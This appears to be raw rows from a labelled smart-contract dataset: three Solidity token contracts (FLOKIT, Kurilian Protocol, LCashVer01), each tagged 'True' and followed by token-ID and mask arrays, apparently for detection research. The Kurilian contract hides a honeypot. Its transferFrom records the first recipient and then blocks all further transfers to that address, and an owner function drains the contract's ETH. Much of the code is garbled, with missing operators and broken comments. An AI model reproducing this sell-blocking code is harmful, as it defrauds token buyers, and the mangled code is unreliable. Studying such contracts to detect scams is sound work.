swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // Contract implementation contract FLOKIT is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'FLOKIT'; string private _symbol = 'FLOKIT'; uint8 private _decimals = 9; // Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap // Team wallet address is null but the method to set the address is exposed uint256 private _taxFee = 10; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousTeamFee = _teamFee; address payable public _teamWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 100000000000000e9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForTeam = 5 10*3 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable teamWalletAddress, address payable marketingWalletAddress) public { _teamWalletAddress = teamWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousTeamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousTeamFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular team event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToTeam(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] \|\| _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and team fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToTeam(uint256 amount) private { _teamWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToTeam(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25'); _taxFee = taxFee; } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() { _teamWalletAddress = teamWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9'); _maxTxAmount = maxTxAmount; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 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/** // Kurilian Protocol ($KURL) - A new way to earn income // Name : BKurilian Protocol // Symbol : KURL // Decimals : 18 // InitialSupply : 1,000,000,000,000 SHEP // ---------------------------------------------------------------------------- // WEBISTE: http://Kurilianprotocol.io // TWITTER: https://twitter.com/Kurilianprotocol.finance // TELEGRAM GROUP: https://t.me//KurilianProtocol_official // ---------------------------------------------------------------------------- SPDX-License-Identifier: MIT / pragma solidity >=0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a b; require(a == 0 \|\| c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "KURL"; name = "Kurilian Protocol"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } contract KurilianProtocol is TokenERC20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } } // DISCLAIMER: THIS TOKEN IS ONLY FOR TEST. DO NO ENGAGE IN BUYING OR TRADING THIS TOKEN. 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pragma solidity ^0.4.24; contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 8; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract / constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply 10 uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } / * Internal transfer, only can be called by this contract / function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send / function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /* * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send / function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend / function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract / function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn / function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /* * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn / function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /****************************************/ / LCashVer01 TOKEN STARTS HERE / /****************************************/ contract LCashVer01 is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; / This generates a public event on the blockchain that will notify clients / event FrozenFunds(address target, bool frozen); / Initializes contract with initial supply tokens to the creator of the contract / constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} / Internal transfer, only can be called by this contract / function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent \| Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { address myAddress = this; require(myAddress.balance >= amount sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 9570, 2953, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2069, 12384, 2121, 2270, 1063, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1010, 4769, 1035, 19204, 1010, 27507, 1035, 4469, 2850, 2696, 1007, 6327, 1025, 1065, 3206, 19204, 2121, 2278, 11387, 1063, 1013, 1013, 2270, 10857, 1997, 1996, 19204, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 1022, 1025, 1013, 1013, 2324, 26066, 2015, 2003, 1996, 6118, 4081, 12398, 1010, 4468, 5278, 2009, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 1013, 1013, 2023, 9005, 2019, 9140, 2007, 2035, 5703, 2015, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 5703, 11253, 1025, 12375, 1006, 4769, 1027, 1028, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 1007, 2270, 21447, 1025, 1013, 1013, 2023, 19421, 1037, 2270, 2724, 2006, 1996, 3796, 24925, 2078, 2008, 2097, 2025, 8757, 7846, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1013, 1013, 2023, 19421, 1037, 2270, 2724, 2006, 1996, 3796, 24925, 2078, 2008, 2097, 2025, 8757, 7846, 2724, 6226, 1006, 4769, 25331, 1035, 3954, 1010, 4769, 25331, 1035, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 1025, 1013, 1013, 2023, 2025, 14144, 7846, 2055, 1996, 3815, 11060, 2724, 6402, 1006, 4769, 25331, 2013, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1013, 1008, 1008, 1008, 9530, 3367, 11890, 4263, 3853, 1008, 1008, 3988, 10057, 3206, 2007, 3988, 4425, 19204, 2015, 2000, 1996, 8543, 1997, 1996, 3206, 1008, 1013, 9570, 2953, 1006, 21318, 3372, 17788, 2575, 20381, 6279, 22086, 1010, 5164, 19204, 18442, 1010, 5164, 19204, 6508, 13344, 2140, 1007, 2270, 1063, 21948, 6279, 22086, 1027, 20381, 6279, 22086, 1008, 2184, 1008, 1008, 21318, 3372, 17788, 2575, 1006, 26066, 2015, 1007, 1025, 1013, 1013, 10651, 2561, 4425, 2007, 1996, 26066, 3815, 5703, 11253, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 21948, 6279, 22086, 1025, 1013, 1013, 2507, 1996, 8543, 2035, 3988, 19204, 2015, 2171, 1027, 19204, 18442, 1025, 1013, 1013, 2275, 1996, 2171, 2005, 4653, 5682, 6454, 1027, 19204, 6508, 13344, 2140, 1025, 1013, 1013, 2275, 1996, 6454, 2005, 4653, 5682, 1065, 1013, 1008, 1008, 1008, 4722, 4651, 1010, 2069, 2064, 2022, 2170, 2011, 2023, 3206, 1008, 1013, 3853, 1035, 4651, 1006, 4769, 1035, 2013, 1010, 4769, 1035, 2000, 1010, 21318, 3372, 1035, 3643, 1007, 4722, 1063, 1013, 1013, 4652, 4651, 2000, 1014, 2595, 2692, 4769, 1012, 2224, 6402, 1006, 1007, 2612, 5478, 1006, 1035, 2000, 999, 1027, 1014, 2595, 2692, 1007, 1025, 1013, 1013, 4638, 2065, 1996, 4604, 2121, 2038, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
